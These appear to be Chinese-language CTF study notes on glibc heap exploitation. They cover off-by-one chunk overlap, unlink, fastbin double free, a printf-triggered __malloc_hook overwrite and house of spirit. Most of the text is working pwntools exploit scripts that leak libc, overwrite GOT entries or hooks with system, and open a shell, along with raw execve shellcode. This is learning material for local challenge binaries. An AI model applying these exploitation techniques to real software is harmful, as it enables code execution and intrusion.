实验在关闭aslr时进行
不可以,因为需要修改book2的地址,利用mmap可以一举两得
字符串信息 glibc 2.23 edit函数中存在off-by-one漏洞
void edit_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
puts("Done !");
}else{
puts("No such heap !");
}
}
在申请24字节数据时会使用下一个堆块的prev_size
存储当前堆块的数据,这种情况下就可以溢出到下一堆块的size
字段。覆盖为0x41,即包含两个堆块
释放掉第二个堆块,此时分别得到0x20和0x40的两个chunk,0x40包含0x20的,再次创建0x30堆块,即得到0x20指向0x40,编辑0x40中的内容,即可更改0x20中的指针,实现任意地址读写的目的
exp
from pwn import *
import os
from LibcSearcher import *
# context.log_level='debug'
pname='./heapcreator'
p=process(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.terminal=['gnome-terminal','-x','sh','-c']
# gdb.attach(p)
def create(size,content):
p.sendline('1')
p.recvuntil('Size of Heap :')
p.sendline(str(size))
p.recvuntil('Content of heap:')
p.sendline(content)
def edit(index,content):
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Content of heap : ')
p.sendline(content)
def delete(index):
p.sendline('4')
p.recvuntil('Index :')
p.sendline(str(index))
create(24,'a')
create(16,'a')
create(16,'a')
edit(0,'/bin/sh\x00'.ljust(24,'a')+'\x41')
delete(1)
create(0x30,'a')
# gdb.attach(p)
edit(1,b'\x00'*32+p64(8)+p64(elf.got['free']))
# show
p.sendline('3')
p.recvuntil('Index :')
p.sendline('1')
p.recvuntil('Content : ')
free_address=u64(p.recvuntil('\nDone')[:-5].ljust(8,b'\x00'))
p.recv()
info('free_addr: 0x%x'%free_address)
libc_base=free_address-libc.sym['free']
info('libc_base: 0x%x'%libc_base)
sys_addr=libc_base+libc.sym['system']
edit(1,p64(sys_addr))
delete(0)
p.interactive()
思路
from pwn import *
import os
from LibcSearcher import *
from six import print_
# context.log_level='debug'
pname='./hacknote'
p=process(pname)
elf=ELF(pname)
# libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.terminal=['gnome-terminal','-x','sh','-c']
# gdb.attach(p)
def create(size,content):
p.sendline('1')
# print(p.recv())
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(content)
def delete(index):
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
def print_note(index):
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
print(p.recv())
magic=0x8048986
create(32,'aaa')
create(32,'a')
delete(0)
delete(1)
gdb.attach(p)
# create(8,p32(magic))
# print_note(0)
p.interactive()
思路:
payload
from pwn import *
import os
from LibcSearcher import *
context.log_level='debug'
pname='./stkof_patch'
p=process(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal=['gnome-terminal','-x','sh','-c']
# gdb.attach(p)
def create(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK')
def delete(index):
p.sendline('3')
p.sendline(str(index))
p.recvuntil('OK')
def edit(index,content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('OK')
create(0x100)
create(0x30)
create(0x80)
edit(2,p64(0)+p64(0x30)+p64(0x602138)+p64(0x602140)+b'a'*0x10+p64(0x30)+p64(0x90))
delete(3)
edit(2,p64(0)+p64(0)+p64(elf.got['puts'])+p64(elf.got['atoi'])+p64(elf.got['free'])+p64(elf.got['puts']))
edit(3,p64(elf.plt['puts']))
# gdb.attach(p)
p.sendline('3')
p.sendline('1')
# sleep(1)
p.recv()
puts_addr=u64(p.recv()[:6].ljust(8,b'\x00'))
info('puts_addr: 0x%x'%puts_addr)
libc_base=puts_addr-libc.sym['puts']
info('libc_base:0x%x'%libc_base)
sys_addr=libc_base+libc.sym['system']
info('sys_addr:0x%x'%sys_addr)
edit(2,p64(sys_addr))
p.sendline('/bin/sh\x00')
p.interactive()
思路:
from pwn import *
import os
from LibcSearcher import *
context.log_level='debug'
pname='./paper'
p=process(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal=['gnome-terminal','-x','sh','-c']
# gdb.attach(p)
def add(index,length,content):
p.sendline('1')
p.recvuntil('Input the index you want to store(0-9):')
p.sendline(str(index))
p.recvuntil('How long you will enter:')
p.sendline(str(length))
p.recvuntil('please enter your content:')
p.sendline(content)
p.recvuntil('add success!')
def delete(index):
p.sendline('2')
p.recvuntil('which paper you want to delete,please enter it\'s index(0-9):')
p.sendline(str(index))
p.recvuntil('delete success !')
add(1,0x30,'a')
add(2,0x30,'a')
delete(1)
delete(2)
delete(1)
add(1,0x30,p64(0x60202a))
add(1,0x30,'a')
add(1,0x30,'a')
add(1,0x30,b'\x40\x00\x00\x00\x00\x00'+p64(elf.sym['gg']))
# gdb.attach(p)
p.sendline('a')
p.interactive()
因为system时rsp+0x40处必须是0x10对齐的,否则就会crash
可以改变payload长度、填充ret或栈迁移
当输出和输入含有较多字符时,printf和scanf会调用malloc分配相关内存,输出后会调用free释放内存。可以尝试覆盖malloc_hook或free_hook劫持控制流
libc.address可以设定libc基址
#!/usr/bin/env python
# coding=utf-8
from pwn import *
import os
from LibcSearcher import *
context.log_level='debug'
pname='./EasiestPrintf_patch'
p=process(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc32=ELF('/lib/i386-linux-gnu/libc.so.6')
context.terminal=['gnome-terminal','-x','sh','-c']
# gdb.attach(p)
p.recvuntil('Which address you wanna read:\n')
p.sendline(str(elf.got['puts']))
puts_addr=int(p.recvuntil('\n')[:-1],base=16)
success('puts_addr:0x%x'%puts_addr)
libc_base=puts_addr-libc32.sym['puts']
success('libc_base:0x%x'%libc_base)
sys_addr=libc_base+libc32.sym['system']
success('sys_addr:0x%x'%sys_addr)
free_hook=libc_base+libc32.sym['__free_hook']
success('free_hook:0x%x'%free_hook)
libc32.address=libc_base
p.recvuntil('Good Bye\n')
writes = {0x804a04c :u32('sh;a'),libc32.symbols['__malloc_hook']:libc32.symbols['system']}
width = 0x804a04c - 0x20
payload_1 = fmtstr_payload( offset = 7,writes = writes,numbwritten = 0,write_size = 'byte')
log.info('payload_1 is:%s'% payload_1)
payload_2 = bytes('%{}c'.format(width),encoding='utf-8') # printf是一个%号一输出,遇到比较长的就会malloc。这里传递了0x804a04c-0x20地址进去,是因为printf调用malloc时会多分配0x20个字节,所以最终printf会调用malloc(0x804a04c-0x20+0x20),也就是system('sh;a')
log.info('payload_2 is:%s'% payload_2)
payload =payload_1+ payload_2
gdb.attach(p)
log.info('payload is:%s'% payload)
log.info('payload len:%s'%len(payload))
p.sendline(payload)
p.interactive()
0 : xor esi, esi
2 : movabs rbx, 0x68732f2f6e69622f
12 : push rsi
13 : push rbx
14 : push rsp
15 : pop rdi
16 : push 0x3b
18 : pop rax
19 : xor edx, edx
21 : syscall
shellcode如上
用到house of spirit的地方:构造一个满足free函数验证的chunk
from pwn import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
pname='./pwn200'
p=process(pname)
# p=gdb.debug(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil('who are u?')
p.send('a'*0x30)
p.recvuntil('a'*0x30)
r=p.recv(6)
rbp=u64(r.ljust(8,b'\x00'))
success('ebp:0x%x'%rbp)
'''
rbp1=dd40
rbp2=dc90
'''
shellcode = b"\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += b"\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += b"\x6a\x3b\x58\x31\xd2\x0f\x05"
code_addr=0x7ffe50232d20
aebp=0x7ffe50232de0
payload=(shellcode+p64(0)*2+p64(0x41)).ljust(0x38,b'\x00')+p64(rbp-0x90)
p.sendlineafter('give me your id ~~?\n',str(0x31)) # 注意这里glibc的_int_free内有一个检查
'''
if (have_lock
|| ({ assert (locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
'''
# 而且经过调试,这里读取的数据就是读取到了p+0x40的地方,所以这个数字必须符合要求,不然free会报错
p.sendafter('give me money~\n',payload)
p.sendlineafter('\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :','2')
p.recvuntil('out~')
p.sendlineafter('\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :','1')
payload=p64(0)*3+p64(rbp-0xc0+1)
p.sendlineafter('how long?',str(0x30)) # 这里必须是0x30,否则malloc分配不到伪造的chunk
p.sendafter('give me more money : ',payload)
p.sendlineafter('=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :','3')
p.interactive()
在栈上伪造堆块,插入链表
不局限于栈,任意位置。比如_malloc_hook附近,通过错位的方法绕过size域的检查,然后malloc
关闭栈随机
cat /proc/sys/kernel/random_va_space
# 2
sysctl -a --pattern randomize
# 2
# 0--关闭
# 1--半随机
# 2--全随机
# https://joydig.com/linux-address-space-layout-randomization/
关闭alsr后发现一直变化的段地址位置(直接调试看结果不就好了。。)